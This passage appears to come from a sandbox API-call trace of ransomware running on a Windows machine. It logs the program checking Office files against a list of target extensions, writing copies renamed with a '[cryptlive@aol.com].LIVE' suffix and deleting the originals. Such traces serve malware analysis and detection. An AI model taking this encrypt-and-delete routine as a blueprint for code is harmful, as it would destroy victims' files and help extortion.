Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.234] lstrlenW (lpString=".doc") returned 4 [0146.234] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0146.234] lstrlenW (lpString=".docx") returned 5 [0146.234] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0146.234] lstrlenW (lpString=".pdf") returned 4 [0146.234] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0146.234] lstrlenW (lpString=".xls") returned 4 [0146.234] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0146.234] lstrlenW (lpString=".xlsx") returned 5 [0146.234] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0146.234] lstrlenW (lpString=".ppt") returned 4 [0146.234] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0146.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.235] lstrlenW (lpString=".zip") returned 4 [0146.235] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0146.235] lstrlenW (lpString=".rar") returned 4 [0146.235] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString=".bz2") returned 4 [0146.235] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString=".7z") returned 3 [0146.235] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0146.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.235] lstrlenW (lpString=".dbf") returned 4 [0146.235] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.235] lstrlenW (lpString=".1cd") returned 4 [0146.235] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.235] lstrlenW (lpString=".jpg") returned 4 [0146.235] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.235] lstrlenW (lpString=".doc") returned 4 [0146.235] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString=".docx") returned 5 [0146.235] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0146.235] lstrlenW (lpString=".pdf") returned 4 [0146.235] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0146.235] lstrlenW (lpString=".xls") returned 4 [0146.235] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0146.235] lstrlenW (lpString=".xlsx") returned 5 [0146.235] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0146.235] lstrlenW (lpString=".ppt") returned 4 [0146.235] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0146.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.236] lstrlenW (lpString=".zip") returned 4 [0146.236] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0146.236] lstrlenW (lpString=".rar") returned 4 [0146.236] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0146.236] lstrlenW (lpString=".bz2") returned 4 [0146.236] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0146.236] lstrlenW (lpString=".7z") returned 3 [0146.236] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0146.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.236] lstrlenW (lpString=".dbf") returned 4 [0146.236] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0146.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.236] lstrlenW (lpString=".1cd") returned 4 [0146.236] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0146.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0146.236] lstrlenW (lpString=".jpg") returned 4 [0146.236] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0146.236] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0146.236] lstrlenW (lpString="TIMESOLN.VSL") returned 12 [0146.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0146.254] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=281448) returned 1 [0146.254] CloseHandle (hObject=0x3d0) returned 1 [0146.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 0x20 [0146.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.384] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.384] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0146.788] GetLastError () returned 0x0 [0146.788] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x44b68, lpOverlapped=0x0) returned 1 [0146.797] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x44b70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x44b70, lpOverlapped=0x0) returned 1 [0146.803] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.803] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.804] SetEndOfFile (hFile=0x1ec) returned 1 [0146.804] CloseHandle (hObject=0x1ec) returned 1 [0146.804] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.804] SetEndOfFile (hFile=0x380) returned 1 [0146.812] CloseHandle (hObject=0x380) returned 1 [0146.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 1 [0146.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.813] lstrlenW (lpString=".doc") returned 4 [0146.813] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.813] lstrlenW (lpString=".docx") returned 5 [0146.813] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0146.813] lstrlenW (lpString=".pdf") returned 4 [0146.813] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.813] lstrlenW (lpString=".xls") returned 4 [0146.813] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.813] lstrlenW (lpString=".xlsx") returned 5 [0146.813] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0146.813] lstrlenW (lpString=".ppt") returned 4 [0146.813] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.813] lstrlenW (lpString=".zip") returned 4 [0146.813] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.813] lstrlenW (lpString=".rar") returned 4 [0146.813] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.813] lstrlenW (lpString=".bz2") returned 4 [0146.813] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.813] lstrlenW (lpString=".7z") returned 3 [0146.813] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString=".dbf") returned 4 [0146.814] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString=".1cd") returned 4 [0146.814] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString=".jpg") returned 4 [0146.814] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString=".doc") returned 4 [0146.814] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString=".docx") returned 5 [0146.814] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0146.814] lstrlenW (lpString=".pdf") returned 4 [0146.814] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString=".xls") returned 4 [0146.814] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.814] lstrlenW (lpString=".xlsx") returned 5 [0146.814] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0146.814] lstrlenW (lpString=".ppt") returned 4 [0146.814] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString=".zip") returned 4 [0146.814] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.814] lstrlenW (lpString=".rar") returned 4 [0146.814] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString=".bz2") returned 4 [0146.814] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.814] lstrlenW (lpString=".7z") returned 3 [0146.814] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.814] lstrlenW (lpString=".dbf") returned 4 [0146.814] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.815] lstrlenW (lpString=".1cd") returned 4 [0146.815] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0146.815] lstrlenW (lpString=".jpg") returned 4 [0146.815] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.815] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0146.815] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXC") returned 24 [0146.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.818] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=676) returned 1 [0146.818] CloseHandle (hObject=0x380) returned 1 [0146.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 0x20 [0146.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.818] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.818] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0146.820] GetLastError () returned 0x0 [0146.820] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2a4, lpOverlapped=0x0) returned 1 [0146.822] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2b0, lpOverlapped=0x0) returned 1 [0146.823] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.823] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x104, lpOverlapped=0x0) returned 1 [0146.823] SetEndOfFile (hFile=0x1ec) returned 1 [0146.823] CloseHandle (hObject=0x1ec) returned 1 [0146.823] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.823] SetEndOfFile (hFile=0x380) returned 1 [0146.825] CloseHandle (hObject=0x380) returned 1 [0146.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc")) returned 1 [0146.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.826] lstrlenW (lpString=".doc") returned 4 [0146.826] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.826] lstrlenW (lpString=".docx") returned 5 [0146.826] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.826] lstrlenW (lpString=".pdf") returned 4 [0146.826] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.826] lstrlenW (lpString=".xls") returned 4 [0146.826] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.826] lstrlenW (lpString=".xlsx") returned 5 [0146.826] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.826] lstrlenW (lpString=".ppt") returned 4 [0146.827] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString=".zip") returned 4 [0146.827] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString=".rar") returned 4 [0146.827] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString=".bz2") returned 4 [0146.827] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.827] lstrlenW (lpString=".7z") returned 3 [0146.827] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString=".dbf") returned 4 [0146.827] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString=".1cd") returned 4 [0146.827] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString=".jpg") returned 4 [0146.827] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString=".doc") returned 4 [0146.827] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.827] lstrlenW (lpString=".docx") returned 5 [0146.827] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.827] lstrlenW (lpString=".pdf") returned 4 [0146.827] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString=".xls") returned 4 [0146.827] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString=".xlsx") returned 5 [0146.827] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.827] lstrlenW (lpString=".ppt") returned 4 [0146.827] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.827] lstrlenW (lpString=".zip") returned 4 [0146.827] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.827] lstrlenW (lpString=".rar") returned 4 [0146.828] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.828] lstrlenW (lpString=".bz2") returned 4 [0146.828] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.828] lstrlenW (lpString=".7z") returned 3 [0146.828] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.828] lstrlenW (lpString=".dbf") returned 4 [0146.828] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.828] lstrlenW (lpString=".1cd") returned 4 [0146.828] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0146.828] lstrlenW (lpString=".jpg") returned 4 [0146.828] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.828] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0146.828] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0146.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.829] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=216) returned 1 [0146.829] CloseHandle (hObject=0x380) returned 1 [0146.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 0x20 [0146.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.829] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.829] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0146.830] GetLastError () returned 0x0 [0146.830] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xd8, lpOverlapped=0x0) returned 1 [0146.831] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0146.831] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.831] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x104, lpOverlapped=0x0) returned 1 [0146.832] SetEndOfFile (hFile=0x1ec) returned 1 [0146.832] CloseHandle (hObject=0x1ec) returned 1 [0146.832] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.832] SetEndOfFile (hFile=0x380) returned 1 [0146.834] CloseHandle (hObject=0x380) returned 1 [0146.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt")) returned 1 [0146.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.835] lstrlenW (lpString=".doc") returned 4 [0146.835] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.835] lstrlenW (lpString=".docx") returned 5 [0146.835] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.835] lstrlenW (lpString=".pdf") returned 4 [0146.835] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.835] lstrlenW (lpString=".xls") returned 4 [0146.835] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.835] lstrlenW 